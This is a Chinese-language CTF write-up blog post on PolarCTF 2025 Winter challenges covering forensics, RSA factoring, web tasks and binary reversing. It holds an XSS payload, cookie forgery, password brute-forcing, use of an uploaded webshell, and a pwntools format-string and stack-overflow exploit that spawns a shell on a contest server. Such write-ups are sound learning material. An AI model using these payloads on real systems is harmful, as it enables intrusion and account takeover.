PolarCTF 2025冬季挑战赛 WP

ljnljn Lv6

1-7 Virtual_currency

本题思路如下:
仿真ubuntu
账号huanglei密码19460214
执行查看ip、启动镜像操作
![assets/PolarCTF 2025冬季挑战赛 WP/file-20251207080216680.png](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232084-991079667.png)
1、然后可以打开ip地址查看平台
![assets/PolarCTF 2025冬季挑战赛 WP/file-20251207080221243.png](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232078-644150915.png)
可以看出是Polar币
2-4、火眼仿真查看日志
![assets/PolarCTF 2025冬季挑战赛 WP/file-20251207080225874.png](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232132-1082335522.png)
答案都在末尾一部分
![assets/PolarCTF 2025冬季挑战赛 WP/file-20251207080229820.png](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081231887-1356550569.png)
5、显示隐藏文件C盘根目录找到一个exe
![assets/PolarCTF 2025冬季挑战赛 WP/file-20251207080235176.png](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232135-568241915.png)  

1-8 Source of danger

本题思路如下:
1、 过滤http
![assets/PolarCTF 2025冬季挑战赛 WP/file-20251207080239904.png](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232143-1947795370.png)
2、 追踪流发现是Edge
![assets/PolarCTF 2025冬季挑战赛 WP/file-20251207080243769.png](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232031-1269163269.png)
3、 对象可导出
![assets/PolarCTF 2025冬季挑战赛 WP/file-20251207080247583.png](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232201-1653748349.png)
ChatGPT
![assets/PolarCTF 2025冬季挑战赛 WP/file-20251207080251448.png](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232078-2057255219.png)
4-5、最后有一个upload,发现是Python上传的,网站就是对应那个

![assets/PolarCTF 2025冬季挑战赛 WP/file-20251207080254865.png](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081231930-1005213900.png)

2-2 EzAES

本题思路如下:

![CTF/比赛wp/2025/assets/326b31458e604baeda09061b521b8118_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081231752-77115567.jpg)

2-4 xiaoji的RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import libnum

from Crypto.Util.number import long_to_bytes

# 题目给出的数据

h1 = 14598570770570369251044298637863318854969244053819114954671895416691350802920687681668270301378543649113252159681469894140327953343981428435557763783575047421073785093934100988516182011757805151301552786226747639175213248064364104458391503594386384710007637410647669428289271030281975860741433987188926890687769189330536656978907095466736760156091550669274865538908426382007469741745093518762985240171234021436305408209014615992584706412209748494302146308826117702351113891442300797965409831595569786933763773967575744129781374727612526423706127336276048951135368854093017991855415497273999713365969103371554004824509

h2 = 11655430400126708521266628893465012008156070100550313215125940102411494976112918677189030755406554269846801368688286768397687408859238412058773272768466345174217960738213084397497134648104645110774595383007722678343723326165844773931623583737649558732929341710652376370393000666923877685083880991816166675473675993119565288119886891401337292448811477124318462203416303782364411201690259713617106545395093938159021072322598644028525378190756212177234492649667270787158675885995463312527798325191816554894434526912762675422186788558909636033206644624947398671285555871818986699430277747968998624440765160214625508302582

n = 16117539256891249484718413429700173002583084988861340273782389608188420881800342876872775121756821301056788500260045796850939585388076522939011021777251658702207624594144564384121357888401608404641571728859619754015070281985119363898471820577703197516678288716301039869441770173970562352919565912788016889342101896134309321994797037369608180360632790282197647969119609543804552490560372790883065970972189091831856508916272396614853136857081227250153104695845022919856333090412792344985816893032033703744649648621089458783293225651830841418574525258165458710362104364949367148707705685722700758399918195168711661909001

c_sum = 18062960292926203405106631570645792887346762710596094595946201638145269792362432970619678514073768330282072122297774770846723026262793638145140252714036118255298935496782643261099997757452005888950084317572578983859160308143219449311014720216597693717833093096186064214815571678655104145532183363580096161113659794514705540535423432576540755810113817779577012494191762397204056012915596163266097092210799790994886142736276356044755057247863118120000651380079123033610186723297866795705886993017274323290850712391555552018597217459748407996232225971214252337750534257640641166056960137653051788480104937847471213865531

leak = 29786109562795434767286575222202920392934698151772733519827029723076564127577506924725472620552207928305324807071633980845799428305323747287497587012814817694240321762385052643719779704776885137653915759833442842418374852111545817139388092965791383085268376283252367393215830021523854878152740193684532064211244526477475872824124551317767515936013314015487953976823909663377712672258700701049790904432754196590520755614551428222850284265995888579989169357385240073615572407415594868320441237551194011351100321407974631166974196395240849462596136681294133772802147270429624576958515766511950802469230517874955000694776

# 1. 恢复 c1, c2

# c1 + c2 = c_sum

# 2*c1 - c2 = leak

# 两式相加: 3*c1 = c_sum + leak

c1 = (c_sum + leak) // 3

c2 = c_sum - c1

# 2. 分解 N

e1 = 7717

e2 = 8859

# 构造 GCD 攻击

# h1^e2 * 2025^(e1*e2) == h2^e1 * 2024^(e1*e2) (mod p)

val1 = pow(h1, e2, n) * pow(2025, e1 * e2, n) % n

val2 = pow(h2, e1, n) * pow(2024, e1 * e2, n) % n

diff = (val1 - val2) % n

p = libnum.gcd(diff, n)

q = n // p

print(f"[+] Found p: {p}")

print(f"[+] Found q: {q}")

# 3. RSA 解密

e = 0x10001

phi = (p - 1) * (q - 1)

d = libnum.invmod(e, phi)

m1 = pow(c1, d, n)

m2 = pow(c2, d, n)

flag_part1 = long_to_bytes(m1)

flag_part2 = long_to_bytes(m2)

print(f"[+] Flag: {flag_part1 + flag_part2}")

3-1 来个弹窗2.0

本题思路如下:

<img src=x onerror=alert(0)>

弹窗成功

是海贼王里的,直接做

![CTF/比赛wp/2025/assets/be4f6f138a6d54b5c8a3ae0ff57ead7d_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232128-562522567.jpg)

3-2 help

本题思路如下:

Base64转一下就行

![CTF/比赛wp/2025/assets/1ba714ffcef0e02d79325fd78b4b425b_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081231809-220340297.jpg)

3-3 cookie欺骗2.0

本题思路如下:

测试账号登录,发现cookie组成形式user用户名,auth是rot13编码改一下就行

![CTF/比赛wp/2025/assets/3903d0042c011d21cfd3bba387b9bb61_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081231786-831942618.jpg)

![CTF/比赛wp/2025/assets/03706fa35d510c3b08a0874ae648168e_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232062-246731885.jpg)

3-4 uii

本题思路如下:

![CTF/比赛wp/2025/assets/1a33ca456e7ce6f584b65c05b52541af_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232162-644771114.jpg)

Payload:?uii=%59zz

![CTF/比赛wp/2025/assets/77382323f7308e2734b09d0686587088_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081231915-66267175.jpg)

3-6 aa

本题思路如下:

有个i.php

![CTF/比赛wp/2025/assets/0d3ead93dffcf44bf58ee8ecf4b9922f_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232007-675705456.jpg)
进入后解题,![CTF/比赛wp/2025/assets/ddeb85092b5310fcb3fbb49ea57f3051_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232045-200833640.jpg)

这三个连在一起就是flag

3-8 PolarShop

本题思路如下:

抓包修改金币数

![CTF/比赛wp/2025/assets/57e5032d175a1aa412e800a77f4fb2af_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081231964-975466137.jpg)

第二个是账号,第三个是密码本

![CTF/比赛wp/2025/assets/3fe423f625bfd6fb24045207ce477d8f_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232053-1901887932.jpg)

Bp爆破出密码,密码是5qu1rtle

扫出/admin.php

Cookie也改掉

![CTF/比赛wp/2025/assets/66a60db33292ce5133cf49e3af9e550f_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232127-477451583.jpg)

3-9 金币大挑战

本题思路如下:

延迟发包进入论坛

最后有个文件密码1170

进去之后得到Squirtle1170

根据论坛的提示找到/uploads/Squirtle.php,拿上面的密码进行蚁剑

![CTF/比赛wp/2025/assets/b4c49b9c0c113e5382b464f3a09d269e_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232039-1994402679.jpg)

3-10 论坛

本题思路如下:

扫出来一个

![CTF/比赛wp/2025/assets/6ddf30c89e309d2b16cca5d9bbc89637_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081231977-245363145.jpg)

提示也是进论坛

![CTF/比赛wp/2025/assets/ef1d350d74e8d1dd21cb6a4628a85cdd_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232083-1033032737.jpg)

直接访问即可

![CTF/比赛wp/2025/assets/112e2b4b7fb521eecc76593802c45f25_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232066-602616530.jpg)

3-11 polarflag

|本题思路如下:

密码本给了

账号提示在flag.php

解密后得出账号为polar

账号polar密码6666

先ls

![CTF/比赛wp/2025/assets/247d56fbec2abc3d76f263ac95149803_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232102-684698990.jpg)

Flag叫polarflag

![CTF/比赛wp/2025/assets/ac574bada44d1bce5ac56aff9f6f941e_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081231952-228429229.jpg)|

4-1 练习1

用mcp分析

首先写ida脚本导出可能的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
# export_ida_strings2.py

# 在 IDA 中运行:File -> Script file... 选择本文件

from __future__ import print_function

import idautils

import idaapi

import idc

import sys

import os

import re

out_path = r"C:\Users\liang\Desktop\ida_strings.txt"

# 可扩展关键词列表

keywords = ['flag', 'FLAG', 'CTF', 'picoCTF', 'flag{', 'FLAG{', 'FLAG:', 'flag:']

def read_str_at(ea):

    # 尝试读取 C 字符串(按字节)

    try:

        b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C)

        if b:

            try:

                return b.decode('utf-8', 'ignore')

            except:

                return b.decode('latin-1', 'ignore')

    except Exception:

        pass

    # 尝试读取 unicode/wide 字符串

    try:

        b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C_16)

        if b:

            try:

                return b.decode('utf-16le', 'ignore')

            except:

                return b.decode('latin-1', 'ignore')

    except Exception:

        pass

    # 备用:如果 idautils.Strings 对象有 .value/.str/.string 字段

    return None

def normalize(s):

    if s is None:

        return ""

    return s.replace('\r','').replace('\n','\\n')

def main():

    strings = list(idautils.Strings())

    matches = []

    total = 0

    with open(out_path, 'w', encoding='utf-8', errors='ignore') as out:

        out.write("EA\tType\tString\n")

        for s in strings:

            total += 1

            ea = getattr(s, 'ea', getattr(s, 'start', None))

            # try extracting by idc API

            text = None

            if ea:

                text = read_str_at(ea)

            # fallback to attributes of the object

            if not text:

                # Some IDA versions expose different attributes

                for attr in ('value','string','str','cstr'):

                    if hasattr(s, attr):

                        try:

                            v = getattr(s, attr)

                            if isinstance(v, (bytes, bytearray)):

                                try:

                                    text = v.decode('utf-8','ignore')

                                except:

                                    text = v.decode('latin-1','ignore')

                            else:

                                text = str(v)

                            break

                        except Exception:

                            continue

            if not text:

                # last resort: try idc.get_wide_word/byte sequences - skip for speed

                text = "<unreadable>"

            out.write("0x{0:X}\t{1}\t{2}\n".format(ea if ea else 0, type(s).__name__, normalize(text)))

            # 查关键词(不区分大小写并保留原文判断)

            low = text.lower() if isinstance(text, str) else ""

            for k in keywords:

                if k.lower() in low:

                    matches.append((ea, text))

                    break

    print("Wrote {} strings to: {}".format(total, out_path))

    if matches:

        print("Possible flag-like matches (EA, string):")

        for ea, text in matches:

            print("0x{0:X}\t{1}".format(ea if ea else 0, text))

    else:

        print("No obvious flag-like strings found (checked keywords {}).".format(keywords))

if __name__ == "__main__":

    main()

然后发现疑似flag,再看函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
# find_xrefs_and_decompile.py

# 在 IDA 中运行:File -> Script file... 或 Alt+F7

from __future__ import print_function

import idautils

import idaapi

import idc

import sys

TARGET_EA = 0x14001ACF0  # 要检查的字符串地址

def read_string(ea):

    try:

        b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C)

        if b:

            try:

                return b.decode('utf-8', 'ignore')

            except:

                return b.decode('latin-1', 'ignore')

    except:

        pass

    try:

        b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C_16)

        if b:

            try:

                return b.decode('utf-16le', 'ignore')

            except:

                return b.decode('latin-1', 'ignore')

    except:

        pass

    return "<no-string>"

def decompile_func_at(ea):

    try:

        cfunc = idaapi.decompile(ea)

        return str(cfunc)

    except Exception as e:

        # Hex-Rays 不可用或反编译失败,返回部分反汇编作为回退

        lines = []

        for i, insn in enumerate(idautils.FuncItems(ea)):

            lines.append("0x{0:X}: {1}".format(insn, idc.GetDisasm(insn)))

            if i > 200:

                break

        return "\n".join(lines)

def main():

    print("Target EA: 0x{0:X}".format(TARGET_EA))

    print("String at target:", read_string(TARGET_EA))

    print("Searching XrefsTo...")

    xrefs = list(idautils.XrefsTo(TARGET_EA))

    if not xrefs:

        print("No Xrefs found to 0x{0:X}.".format(TARGET_EA))

        return

    for xr in xrefs:

        print("-" * 60)

        print("Ref from: 0x{0:X} type:{1}".format(xr.frm, xr.type))

        func = idaapi.get_func(xr.frm)

        if func:

            start = func.start_ea

            end = func.end_ea

            print("Function: 0x{0:X} - 0x{1:X}".format(start, end))

            print("Attempting to decompile function at 0x{0:X} ...".format(start))

            decomp = decompile_func_at(start)

            print(decomp)

        else:

            print("No function contains the ref (maybe data xref). Disasm around ref:")

            # print a few instructions around the ref

            for addr in range(max(0, xr.frm-16), xr.frm+16, 1):

                # only print valid instructions

                try:

                    d = idc.GetDisasm(addr)

                    if d:

                        print("0x{0:X}: {1}".format(addr, d))

                except:

                    pass

if __name__ == "__main__":

main()

最后自动分析得到结果
![assets/PolarCTF 2025冬季挑战赛 WP/file-20251207080904437.png](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081232180-731062268.png)

5-4 choice

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
_#!/usr/bin/env python3_

from pwn import *

_# pwntools PoC:_ _利用 format-string 覆盖 printf@GOT 为 backdoor 地址_

_#_ _说明:此脚本假设在本地运行 ./pwn1(与 IDA 中打开的二进制相同)。_

_#_ _如果是远程服务,请将 process(...) 替换为 remote(host, port)_

exe_path = './pwn1'

elf = ELF(exe_path)

context.binary = elf

context.terminal = ['powershell.exe', '-c']

**def** fuzz_offset():

    _#_ _自动化探测偏移量和 Canary_

    print("Starting fuzzing...")

    for i in range(1, 40):

        try:

            p = remote('1.95.7.68', 2089)  _#_ _或者 process(exe_path) 本地测试_

            _#_ _接收菜单_

            p.recvuntil(**b**'enter your choice:')

            p.sendline(**b**'2')

            _#_ _接收提示_

            p.recvuntil(**b**'think again')

            _#_ _发送 payload_

            _#_ _使用 send 而不是 sendline,避免不必要的换行符占用空间,除非需要_

            _#_ _但是 read 会一直读直到 32 字节或者 EOF?_

            _#_ _不,read(0, buf, 32) 会阻塞直到有输入。_

            _#_ _如果是终端,按回车会发送数据。_

            _#_ _让我们发送明确的 payload_

            payload = **f**'%{i}$p'.encode()

            p.sendline(payload)

            _#_ _读取输出_

            _# printf(buf)_ _会输出我们的 payload 解析结果_

            _#_ _紧接着函数返回,回到 main 循环,再次打印菜单 "what's the game plan?"_

            _#_ _所以我们可以读取直到 "what's the game plan?"_

            try:

                _#_ _读取所有输出直到下一个菜单出现_

                response = p.recvuntil(**b**"what's the game plan?", timeout=1)

                _#_ _我们的泄露信息应该在 response 开头_

                print(**f**'Offset {i}: {response}')

            except EOFError:

                print(**f**'Offset {i}: EOF')

            except Exception as e:

                print(**f**'Offset {i}: Timeout or Error {e}')

            p.close()

        except Exception as e:

            print(**f**'Offset {i} error: {e}')

            if 'p' in locals(): p.close()

**def** exploit_canary():

    _# 1._ _利用 fmt 泄露 Canary_

    p = remote('1.95.7.68', 2089)

    _# Step 1: Select Plan 2 (Format String) to leak Canary_

    p.recvuntil(**b**'enter your choice:')

    p.sendline(**b**'2')

    p.recvuntil(**b**'think again')

    _#_ _发送 payload 泄露 Canary (Offset 25)_

    _#_ _注意:read 只能读 32 字节,payload 要短_

    p.sendline(**b**'%25$p')

    _#_ _解析输出_

    try:

        _#_ _读取直到菜单再次出现,中间包含泄露信息_

        output = p.recvuntil(**b**'enter your choice:')

        print(**f**"Leak output raw: {output}")

        _#_ _提取 hex 字符串_

        import re

        _#_ _查找类似于 0x... 的字符串_

        match = re.search(**b**'(0x[0-9a-f]+)', output)

        if not match:

            log.error("Failed to find leak in output")

            return

        canary_str = match.group(1)

        canary = int(canary_str, 16)

        log.info(**f**"Canary found: {hex(canary)}")

        _#_ _验证 Canary 特征 (低字节为 00)_

        if (canary & **0x**ff) != 0:

            log.warning("Warning: Leaked value does not look like a canary (LSB != 00)")

        _# Step 2: Select Plan 1 (Stack Overflow)_

        p.sendline(**b**'1')

        p.recvuntil(**b**'are you sure?')

        _#_ _构造栈溢出 payload_

        _# buf (152 bytes) + canary (8 bytes) + saved_rbp (8 bytes) + return_addr_

        _#_ _注意:p64 需要 from pwn import *_

        backdoor_addr = **0x**40095b

        _#_ _尝试跳过 prologue 以解决栈对齐问题,或者添加 ret gadget_

        _# 0x40095b: push rbp_

        _# 0x40095c: mov rbp, rsp_

        _# 0x40095f: mov edi, ..._

        _#_ _查找 ret gadget 用于对齐_

        _# ROPgadget --binary pwn1 | grep ret_

        _#_ _或者直接用 pwntools_

        rop = ROP(elf)

        ret_gadget = rop.find_gadget(['ret'])[0]

        log.info(**f**"Ret gadget: {hex(ret_gadget)}")

        payload = **b**'A' * 152

        payload += p64(canary)

        payload += **b**'B' * 8 _# saved rbp_

        _#_ _尝试 1: 直接跳转 (已失败)_

        _# payload += p64(backdoor_addr)_

        _#_ _尝试 2: 添加 ret gadget 对齐栈_

        payload += p64(ret_gadget)

        payload += p64(backdoor_addr)

        log.info(**f**"Sending payload length: {len(payload)}")

        p.sendline(payload)

        _#_ _切换到交互模式_

        _#_ _如果成功,应该获得 shell_

        p.interactive()

    except Exception as e:

        log.error(**f**"Exploit failed: {e}")

        p.close()

if __name__ == '__main__':

    _#_ _建议先运行 fuzz 确定 offset,然后运行 exploit_

    _# fuzz_offset()_

    exploit_canary()

6-3 点击挑战

真的点了一万次
![CTF/比赛wp/2025/assets/823ef41e5b8199baf00170f584663967_MD5.jpg](/assets/cnblogs/PolarCTF 2025冬季挑战赛 WP/3539156-20251207081231831-1040707893.jpg)

  • 标题: PolarCTF 2025冬季挑战赛 WP
  • 作者: ljnljn
  • 创建于 : 2025-12-07 08:13:00
  • 更新于 : 2026-05-25 22:04:46
  • 链接: https://ljnljn2005.github.io/2025/12/07/PolarCTF 2025冬季挑战赛 WP/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。